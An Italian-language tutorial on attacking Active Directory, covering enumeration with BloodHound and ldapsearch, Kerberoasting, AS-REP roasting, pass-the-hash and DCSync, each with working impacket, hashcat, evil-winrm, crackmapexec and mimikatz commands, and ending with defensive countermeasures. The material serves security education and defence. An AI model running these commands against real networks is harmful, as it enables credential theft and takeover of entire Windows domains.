Active Directory (AD) è presente nel 90% delle reti enterprise Windows. Chi riesce a comprometterlo ha le chiavi del regno: account, credenziali, GPO, e spesso l’intera infrastruttura. Capire come viene attaccato è il prerequisito per difenderlo.
Come funziona Active Directory in breve
AD è un servizio di directory distribuito basato su LDAP e Kerberos. Gestisce autenticazione e autorizzazione per tutti gli oggetti della rete: utenti, computer, gruppi, GPO. Il componente centrale è il Domain Controller (DC), che ospita il database NTDS.dit contenente tutti gli hash delle password del dominio.
Enumerazione AD — prima di tutto
Prima di attaccare, si enumera. Con accesso a un account di dominio (anche non privilegiato):
# Enumerazione base con ldapsearch
ldapsearch -x -H ldap://10.10.10.1 -b "dc=domain,dc=local" -D "user@domain.local" -w password
# Con BloodHound — raccoglie relazioni e shortest path to DA
bloodhound-python -d domain.local -u user -p password -ns 10.10.10.1 -c all
# Con enum4linux-ng
enum4linux-ng -A 10.10.10.1
BloodHound è lo strumento più potente: visualizza graficamente i percorsi di privilege escalation basandosi sulle relazioni tra oggetti AD.
Kerberoasting
Kerberos emette Service Tickets (TGS) per qualsiasi account di dominio che li richieda. I TGS sono cifrati con l’hash NTLM dell’account di servizio. Se un account di servizio ha un SPN (Service Principal Name) registrato e usa una password debole, è possibile:
- Richiedere il TGS per quel servizio
- Estrarre il ticket cifrato
- Crackarlo offline
# Impacket — lista SPN e ottiene i ticket
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.10.10.1 -request
# Output: hash in formato $krb5tgs$23$*...
# Crack con hashcat
hashcat -m 13100 spn_hashes.txt rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
Difesa: usa password lunghe (30+ caratteri) per gli account di servizio, oppure Group Managed Service Accounts (gMSA) che ruotano automaticamente.
AS-REP Roasting
Se un account ha “Do not require Kerberos preauthentication” abilitato, è possibile richiedere un AS-REP senza fornire credenziali. Il KDC risponde con dati cifrati con l’hash dell’utente — crackabili offline.
# Trova account vulnerabili e ottieni AS-REP
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip 10.10.10.1 -no-pass
# Crack
hashcat -m 18200 asrep_hashes.txt rockyou.txt
Pass-the-Hash
Con un hash NTLM ottenuto (da mimikatz, secretsdump, ecc.) è possibile autenticarsi senza conoscere la password in chiaro:
impacket-psexec domain.local/Administrator@10.10.10.1 -hashes :ntlm_hash
evil-winrm -i 10.10.10.1 -u Administrator -H ntlm_hash
crackmapexec smb 10.10.10.0/24 -u Administrator -H ntlm_hash
DCSync — replicare il Domain Controller
Con privilegi sufficienti (DA, Enterprise Admin, o DCSync rights), è possibile simulare la replica AD e ottenere tutti gli hash:
impacket-secretsdump domain.local/Administrator@10.10.10.1
# oppure con mimikatz:
# lsadump::dcsync /domain:domain.local /all /csv
Il risultato è l’intero database NTDS.dit — game over per il dominio.
Contromisure chiave
- Tiered administration model: nessun DA che usa le proprie credenziali su workstation
- Protected Users group: blocca NTLM, Kerberos delegation e caching credenziali
- Credential Guard: isola LSA, impedisce l’estrazione di hash
- Fine-grained password policies: policy più severe per account privilegiati
- ATA/Defender for Identity: rileva Kerberoasting, AS-REP Roasting e DCSync in tempo reale